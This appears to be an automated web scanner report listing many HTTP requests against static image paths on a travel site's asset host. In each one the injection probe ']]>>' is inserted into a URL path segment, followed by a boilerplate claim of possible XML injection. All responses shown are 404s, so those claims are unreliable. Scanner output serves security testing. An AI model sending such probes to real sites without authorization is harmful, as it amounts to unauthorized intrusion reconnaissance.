GET /static/images/global]]>>/background/sidebar-module-bottom-right-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background]]>>/sidebar-module-bottom-right-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:07 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background/sidebar-module-bottom-right-corner.gif]]>>?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:11 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:11 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/global/background/sidebar-module-left-side.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:55 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/global/background/sidebar-module-left-side.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:58 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global]]>>/background/sidebar-module-left-side.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535976 Date: Mon, 03 Oct 2011 01:02:01 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background]]>>/sidebar-module-left-side.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:05 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background/sidebar-module-left-side.gif]]>>?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:09 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:09 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/global/background/sidebar-module-right-side.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:56 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/global/background/sidebar-module-right-side.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:59 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global]]>>/background/sidebar-module-right-side.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535950 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background]]>>/sidebar-module-right-side.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:09 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background/sidebar-module-right-side.gif]]>>?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:12 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:12 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/global/background/sidebar-title-module-top-and-left-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:56 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/global/background/sidebar-title-module-top-and-left-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535993 Date: Mon, 03 Oct 2011 01:02:00 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global]]>>/background/sidebar-title-module-top-and-left-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background]]>>/sidebar-title-module-top-and-left-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:09 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background/sidebar-title-module-top-and-left-corner.gif]]>>?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:14 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:14 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/global/background/sidebar-title-module-top-right-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:55 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/global/background/sidebar-title-module-top-right-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:57 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global]]>>/background/sidebar-title-module-top-right-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
